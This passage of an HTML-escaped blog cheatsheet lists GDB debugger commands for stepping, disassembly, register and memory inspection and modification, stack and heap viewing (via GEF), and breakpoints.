shell &lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; Hi
&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cmd&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;interrupting&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#interrupting&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Interrupting&lt;/h3&gt;
&lt;p&gt;We want to inspect a program in the guts. But how do we stop it where we want?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;^C&lt;/code&gt; during program execution. (Also throws a &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;SIGnal INTerrupt.&quot;&gt;&lt;code&gt;SIGINT&lt;/code&gt;&lt;/abbr&gt;.)&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;start&lt;/code&gt; instead of &lt;code&gt;run&lt;/code&gt;. Breaks after starting the program.&lt;/li&gt;
&lt;li&gt;Use &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#breakpoints&quot;&gt;breakpoints&lt;/a&gt; (break on address).&lt;/li&gt;
&lt;li&gt;Use &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot;&gt;watchpoints&lt;/a&gt; (break on data).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-debugging&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#step-debugging&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step Debugging&lt;/h3&gt;
&lt;p&gt;Once we&#39;ve stopped, what do we do? How do we navigate instructions and functions effectively?&lt;/p&gt;
&lt;p&gt;Step debugging is one of the core features of GDB, and an invaluable tool for all programmers. Modern IDEs have step debugging functionality built-in to operate seamlessly with code. But in GDB, you can operate it with the familiar touch of your keyboard!&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Step Debugging&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;## Step (into).&lt;/span&gt;
step
s
&lt;span class=&quot;token comment&quot;&gt;## Step over.&lt;/span&gt;
next
n
&lt;span class=&quot;token comment&quot;&gt;## Step (into) one instruction exactly.&lt;/span&gt;
stepi
si
&lt;span class=&quot;token comment&quot;&gt;## Step over one instruction.&lt;/span&gt;
nexti
ni
&lt;span class=&quot;token comment&quot;&gt;## Step out. Execute until (selected) stack frame returns (past end of function).&lt;/span&gt;
finish
fin&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;disassembly&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#disassembly&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Disassembly&lt;/h3&gt;
&lt;p&gt;Useful for verifying addresses and assembly, even if you use a decompiler.&lt;/p&gt;
&lt;p&gt;View instructions at a function or address.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;disas &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;address/function&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
disas &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;start addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;,&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;end addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
disas &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;start addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;,+&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;offset&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

disas main&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Enable Intel-flavoured ASM syntax.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; disassembly-flavor intel&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;View data as instructions.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;x/&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
x/20i 0x5555555dddd0&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;registers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#registers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Registers&lt;/h2&gt;
&lt;h3 id=&quot;view-registers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-registers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; View Registers&lt;/h3&gt;
&lt;p&gt;Show individual registers.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;print &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;expression&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

print &lt;span class=&quot;token variable&quot;&gt;$rax&lt;/span&gt;
p &lt;span class=&quot;token variable&quot;&gt;$rax&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Expressions are evaluated.&lt;/span&gt;
p &lt;span class=&quot;token variable&quot;&gt;$rbx&lt;/span&gt;+&lt;span class=&quot;token variable&quot;&gt;$rcx&lt;/span&gt;*4&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Show all registers.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;info registers
info r
registers &lt;span class=&quot;token comment&quot;&gt;# (GEF)&lt;/span&gt;
reg       &lt;span class=&quot;token comment&quot;&gt;# (GEF)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;modify-registers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#modify-registers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Modify Registers&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$eax&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0xdeadbeef&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;watch-registers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watch-registers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Watch Registers&lt;/h3&gt;
&lt;p&gt;See &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot;&gt;Watchpoints&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Memory&lt;/h2&gt;
&lt;p&gt;Memory is a core component of binaries. Many hidden secrets lurk inside the shadows of memory.&lt;/p&gt;
&lt;h3 id=&quot;view-memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; View Memory&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;x/&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;sz&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;fmt&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# n: Number of data to print.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# sz: b(byte), h(halfword), w(word), g(giant, 8 bytes)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# fmt: Format to print data.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# - o(octal), x(hex), d(decimal), u(unsigned decimal),&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# - z(hex, zero padded on the left)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# - t(binary), f(float), c(char), s(string)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# - a(address), i(instruction),&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 20 words.&lt;/span&gt;
x/20wx 0x7fffffffd000

&lt;span class=&quot;token comment&quot;&gt;# 20 bytes.&lt;/span&gt;
x/20bx 0x7fffffffd000

&lt;span class=&quot;token comment&quot;&gt;# View as string.&lt;/span&gt;
x/s 0x7fffffffd000&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;modify-memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#modify-memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Modify Memory&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;c-type&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;address&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# For self-compiled sources.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; var i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;int&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;0x83040 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;You can also modify memory at a pointer location by casting to an appropriate type and dereferencing.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;## C++&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;uint32_t*&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;0x7fffffffd000 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0xdeadbeef
&lt;span class=&quot;token comment&quot;&gt;## Rust&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; *&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;0x7fffffffd000 as *const u32&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; 0xdeadbeef&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;search-memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#search-memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Search Memory&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;start&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;, &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;end&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;, &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;start&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;, +&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;length&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;, &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Find string (including null byte).&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; 0x7fffffffd000, 0x7ffffffff000, &lt;span class=&quot;token string&quot;&gt;&quot;Hello world!&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Find string (excluding null byte).&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; 0x7fffffffd000, 0x7ffffffff000, &lt;span class=&quot;token string&quot;&gt;&#39;H&#39;&lt;/span&gt;,&lt;span class=&quot;token string&quot;&gt;&#39;e&#39;&lt;/span&gt;,&lt;span class=&quot;token string&quot;&gt;&#39;l&#39;&lt;/span&gt;,&lt;span class=&quot;token string&quot;&gt;&#39;l&#39;&lt;/span&gt;,&lt;span class=&quot;token string&quot;&gt;&#39;o&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;More options.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;/sn&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.
&lt;span class=&quot;token comment&quot;&gt;# s: b(byte), h(halfword), w(word), g(giant, 8 bytes)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# n: max number of finds&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Combine with &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-memory-segments&quot;&gt;Memory Mapping&lt;/a&gt; to determine available regions.&lt;/p&gt;
&lt;h3 id=&quot;watch-memory&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watch-memory&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Watch Memory&lt;/h3&gt;
&lt;p&gt;See &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot;&gt;Watchpoints&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;view-memory-segments&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-memory-segments&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; View Memory Segments&lt;/h3&gt;
&lt;p&gt;Useful to determine which areas are readable/writeable/executable.&lt;/p&gt;
&lt;p&gt;Requires program to be running beforehand.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;info proc mappings
vmmap &lt;span class=&quot;token comment&quot;&gt;# (GEF)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;stack&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#stack&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Stack&lt;/h2&gt;
&lt;h3 id=&quot;view-stack&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-stack&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; View Stack&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# View 100 words (hex) at $rsp.&lt;/span&gt;
x/100wx &lt;span class=&quot;token variable&quot;&gt;$rsp&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;See also: &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#view-memory&quot;&gt;View Memory&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stack Frame&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;info frame&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Stack Trace&lt;/strong&gt;&lt;br /&gt;
Show a trace of previous stack frames.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;backtrace
bt&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;heap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#heap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Heap&lt;/h2&gt;
&lt;p&gt;GEF only.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;heap

&lt;span class=&quot;token comment&quot;&gt;# View all chunks.&lt;/span&gt;
heap chunks

&lt;span class=&quot;token comment&quot;&gt;# View specific chunks.&lt;/span&gt;
heap chunk &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;addr&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# View state of bins (freed chunks).&lt;/span&gt;
heap bins&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;breakpoints&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#breakpoints&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Breakpoints&lt;/h2&gt;
&lt;p&gt;Breaks when address reaches an instruction.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;address&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;line-number &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; label&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# For self-compiled programs.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;stuff&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;expression&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Address.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *0x401234
b *0x401234

&lt;span class=&quot;token comment&quot;&gt;# Offset from function.&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;break&lt;/span&gt; *main+200

&lt;span class=&quot;token comment&quot;&gt;# Line number and expression.&lt;/span&gt;
